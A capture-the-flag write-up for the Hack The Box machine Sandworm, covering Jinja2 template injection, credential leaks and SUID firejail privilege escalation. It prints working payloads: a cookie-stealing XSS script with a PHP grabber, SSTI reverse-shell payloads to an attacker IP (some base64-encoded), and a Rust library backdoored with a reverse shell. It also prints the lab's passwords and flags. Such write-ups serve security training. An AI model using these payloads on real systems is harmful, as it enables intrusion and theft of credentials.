writeup 2024-01-25 · 5 min read

Hack The Box Sandworm Writeup (Medium Linux)

Medium Linux box. Jinja2 SSTI in the PGP signature form gives a shell, httpie session files leak silentobserver, and a SUID firejail binary gives root.

Hack The Box Sandworm Writeup (Medium Linux)

Summary

Sandworm hosts ssa.htb, a Flask site that offers to verify PGP signed messages. Signing a message with a self generated GPG key and putting Jinja2 template syntax in the signed body triggers server side template injection, and walking the subclass list to Popen turns that into a base64 encoded bash reverse shell. On the box, the application source exposes the GPG passphrase, the Flask secret key and the MySQL connection string, while an httpie session file under atlas’ home holds silentobserver’s password for an SSH login. From there the logger crate in /opt/crates/logger/src is writable and is compiled into the tipnet binary that runs as atlas, so replacing lib.rs pivots back into that account. atlas belongs to the jailer group, which owns a SUID firejail binary, and the public exploit for it returns root.

Secret Spy Agency

export IP=10.129.42.0ssa.htb

General Enumeration

e-mail (SSL certificate) atlas@ssa.htb

Port scanning

443/tcp on 10.129.42.0 (nginx 1.18.0) ssl-cert: Subject: commonName = SSA organizationName = Secret Spy Agency stateOrProvinceName = Classified countryName = SA organizationalUnitName = SSA emailAddress = atlas@ssa.htb localityName = Classified

80/tcp on 10.129.42.0 (nginx 1.18.0) 22/tcp on 10.129.42.0 (OpenSSH 8.9p1)

Target: webserver at port 443

Powered by Flask™

Login panel https://ssa.htb/login

PGP Public Key https://ssa.htb/pgp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
-----BEGIN PGP PUBLIC KEY BLOCK-----

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
=P8U3
-----END PGP PUBLIC KEY BLOCK-----

create new gpg key gpg --gen-key

list keys gpg --list-keys

view key gpg --armor --export <keyid>

gpg sign message with their pub key gpg --encrypt --armor --recipient atlas@ssa.htb teste.txt

sign cleartext message gpg --clearsign --default-key <keyid> mensagem.txt

Exploit try (didn’t work)

1
<script>document.location='http://10.10.14.33/grabber.php?c='+document.cookie</script>
1
2
3
4
5
6
<?php
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>

SSTI

Listing all subclasses (searching for Popen index)

1
{{ ''.__class__.__mro__[1].__subclasses__() }}

Exploit attempt

1
{{''.__class__.__mro__[1].__subclasses__()[439]('bash -i >& /dev/tcp/10.10.16.45/9001 0>&1',shell=True,stdout=-1).communicate()}}

Initial shell

By exploiting a SSTI on Jinja2, I’m able to get a reverse shell connection.

Reverse shell

1
bash -i >& /dev/tcp/10.10.16.45/9001 0>&1

Exploit (shell base64 encoded!)

1
{{''.__class__.__mro__[1].__subclasses__()[439]('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40NS85MDAxIDA+JjE= | base64 -d | bash',shell=True,stdout=-1).communicate()}}

Generating gpg key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ gpg --gen-key                                                                   
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-generate-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name: {{''.__class__.__mro__[1].__subclasses__()[439]('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40NS85MDAxIDA+JjE= | base64 -d | bash',shell=True,stdout=-1).communicate()}}
Email address: 
You selected this USER-ID:
    "{{''.__class__.__mro__[1].__subclasses__()[439]('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40NS85MDAxIDA+JjE= | base64 -d | bash',shell=True,stdout=-1).communicate()}}"

Change (N)ame, (E)mail, or (O)kay/(Q)uit? o

Public key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
$ gpg --armor --export 8F2DAD8FB818C590C1AFF16804C5058511E0E48A                       
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQGNBGSSNY4BDAD5/Nu7jlKaVSNj52ylKkEDyxWYu53m7ndAecEh24mIhe5CmBZ0
gHScenExtJdUEo8BZVgrLLJUYnvz/h5nl8HeoDXTksYqxKc8VeKIX/wTa/2SoDsO
3Llp4DGWpIdZcfqy8TSfWUeutdWEUp+96an2MsOOYdl5oltRqt50Cqr3C/3NzTL8
D7VUBCQj8OG7SiQ9X1ztnno+F5dpzMuLL0TvueeMXexJ2M731Ug3VgaqAlY8Yj02
j1tcQ0aUmKEV+aJ3ICuASUIPofR/CDmPsl0JjQOg72iV+ETyeQoVOiSrnvU43xo2
1JGkG+ztR51QwyOfNyaG6ffHUtH4RIC0Zy3wlptFrzjBZSYn3Aj6b52i19d0Q5hG
O/+oxLTW+8bzyJdU1zhwNzefDGYVq3Ybi41w9KM1zRLK4/T7OSNLSH5J+InU8+DE
bTmxBqS2DgDjS45+51amMfo1m6Gs9ZVab9RkosW2o9C7N/2dUg8VaIEis8mT01Dy
GXaQP0G+HpBiTq0AEQEAAbSoe3snJy5fX2NsYXNzX18uX19tcm9fX1sxXS5fX3N1
YmNsYXNzZXNfXygpWzQzOV0oJ2VjaG8gWW1GemFDQXRhU0ErSmlBdlpHVjJMM1Jq
Y0M4eE1DNHhNQzR4Tmk0ME5TODVNREF4SURBK0pqRT0gfCBiYXNlNjQgLWQgfCBi
YXNoJyxzaGVsbD1UcnVlLHN0ZG91dD0tMSkuY29tbXVuaWNhdGUoKX19iQHUBBMB
CgA+FiEEjy2tj7gYxZDBr/FoBMUFhRHg5IoFAmSSNY4CGwMFCQPCZwAFCwkIBwIG
FQoJCAsCBBYCAwECHgECF4AACgkQBMUFhRHg5Iodbwv+NqoSKylVxQXCpmx2ftV2
Q1/GtG7vqMjwqA8stTDPuF0nJ4VdSWjiJk8UyAA1MkycHlu+IbbseoeU5f8OVhQU
4rbZaoeX13ly1aQIWjWBYNF3CY8BsCVd9X8UzaEC/XSJRSxVowh6oO/TntecWeD+
PxgXCEMQ2cwKVLGrfuV3GD0BVNL4sC64lvAB2CV1hghaTZGgQ5aIb3+ietjlnrCe
KrqMYQAS3ABFYGrszraPAi5vF9dGIegFA5G6a5Ccx+W00KfMyLNXHXxAII0GS3S0
TWkQDgP0bvXHq6HOBI3v7jmy7Pj5I0YFmAbeGQdUNu+fytQb2ZK6q6iVhtd7OylD
/Cqpi5lEvpPX9jkIN1XsLLmvZfjU518HlTgey71/ID5KrE6fIvLptJPmVId8l7Zp
WZG7cTUt9LdrIaG0jj5f185nQi/K8FN5VeXU2Vmtrp8BzsO9b2iZoGtyW6W9Df5U
1XrAYxvwzlfJtvYvhudncBc1jOFsaInLN+Gd9X4o9JuDuQGNBGSSNY4BDADm9DtC
27o3kBN0vA9tfYPI2zqGii5aescVEAnlHOAWoMgpSA8ZqNgnf8E/Jb0vAXX+s4Qz
mrrRGMy6MiywgHUZE8VaQyaWTmyykDWkyIyXy+G2w2K1BJWLbowz9OiO38iQriMi
PYhOZKHrl3aoQkdsrFD9ll4N8bWfRnaFhmaGOqFiB5VBpQlWuJzhV3EeuyUfaHWh
3wB3si63rFnkYAPWrdmplAYm/qJ/78w0h1jHDxxcBBTiJMMr6S3mRW/uYHc6EThY
ipgh3Y0BjfS2DaQKuMCixY5WK98+qzTFF/hxc9VmcQ9Qd9TQE0VWJu6QQxq1V0h3
hSG0L6ZgTkVjioiAVf9UM9QmuqH3C+oVzuQwYuxIB+6w41xO7V/uT6bC5Kc0EAcY
O+ak1H4UrCDu3fAAIR0n8IQUoiSIzPIeFDjX+MZeFVmlC4oc5jxtD48iFPjO5hiW
/CrFRY6MzjvQMSPfKcDTZQ77ySk7w7AA0APOkbHeV86htxa9/9TU/9vOjeEAEQEA
AYkBvAQYAQoAJhYhBI8trY+4GMWQwa/xaATFBYUR4OSKBQJkkjWOAhsMBQkDwmcA
AAoJEATFBYUR4OSKthwMAKl+mo68zPaSHM2bOK8fn1SWHbGu9monfeH3k5KYe7b9
cj2OM/tXKtdHYSNmdhRvtbQhI1O1TmOfH1/tMBeYWVIwWl3acnLfcO1W9l/tIaxi
IXKpjhmEaRfrbSsGnNUoH7jgVEuGsxKZ7DvmayISOchgdDO9OPxSw5b66lzaFDbs
4jKLxX2uJe3vANWqAyY+4J6IaExs2ye98VcwTt6neVRXhGXboWr5VatWf0vCiZAv
/r0/933cCxpZxU5MmNPaHPfBUKi2TM8k/BacwvHGSO4ZZCpaKF5ATJlg4u1Lr6bw
H6fb6Vj6NEtaRD+WIdwB0nhjwM9HsjoN3ToRZcnK4Xol9hhUpdQmbzjykcxClXJu
MdPoiRhmU1A9uyyC94e5tC4SCXyoEwSO90LyAHHq5vaTrDdwoGatAAWlJx5eyp29
bPq2B1tbn7MYgSLyYBG3S27vfW9y9DeVWS+4u3GTorSHf0Wgk0IJBiF2uAVqjwdQ
srkCB78+gxriDGfChEUXAw==
=wogs
-----END PGP PUBLIC KEY BLOCK-----

Cleartext sign message

1
gpg --clearsign --default-key 8F2DAD8FB818C590C1AFF16804C5058511E0E48A mensagem.txt

Just put those on the “Verify signature” at /guide, and you’re good.

Privilege escalation

$ id uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)

/var/www/html/SSA/SSA/app.py

1
msg = gpg.decrypt(tip, passphrase='$M1DGu4rD$')

init.py

1
2
app.config['SECRET_KEY'] = '91668c1bc67132e3dcfb5b1a3e0c5c21'
app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://atlas:GarlicAndOnionZ42@127.0.0.1:3306/SSA'

Login as silentobserver via SSH

/home/atlas/.config/httpie/sessions/localhost_5000/admin.json silentobserver:quietLiketheWind22

0bf130ea191b267f17233389fa48988e (user.txt)

Acessing mysql

1
2
3
Odin's password hash

pbkdf2:sha256:260000$q0WZMG27Qb6XwVlZ$12154640f87817559bd450925ba3317f93914dc22e2204ac819b90d60018bc1f

firejail SUID binary! -rwsr-x— 1 root jailer 1.7M Nov 29 2022 /usr/local/bin/firejail (Unknown SUID binary!)

$ id atlas uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)

Head to /opt/crates/logger/src and change lib.rs because /opt/tipnet/target/debug/tipnet is using it and running as atlas. This is a pivoting to user atlas, in order to be able to exploit firejail and obtain root access.

Delete original lib.rs and place this instead:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::process::Command;

pub fn log(user: &str, query: &str, justification: &str) {
    let command = "bash -i >& /dev/tcp/10.10.16.45/1337 0>&1"; //reverse shell (change ip)

    let output = Command::new("bash")
        .arg("-c")
        .arg(command)
        .output()
        .expect("not work");

    if output.status.success() {
        let stdout = String::from_utf8_lossy(&output.stdout);
        let stderr = String::from_utf8_lossy(&output.stderr);

        println!("standar output: {}", stdout);
        println!("error output: {}", stderr);
    } else {
        let stderr = String::from_utf8_lossy(&output.stderr);
        eprintln!("Error: {}", stderr);
    }

    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
}

Fire up netcat and wait for the connection. After that, execute the python exploit for firejail SUID, do the same proccess again to have 2 sessions as atlas, and…

root@sandworm:~# cat root.txt bc5c1b3c7d0434dc53acec6a86ec5a8a

This post is licensed under CC BY 4.0 by the author.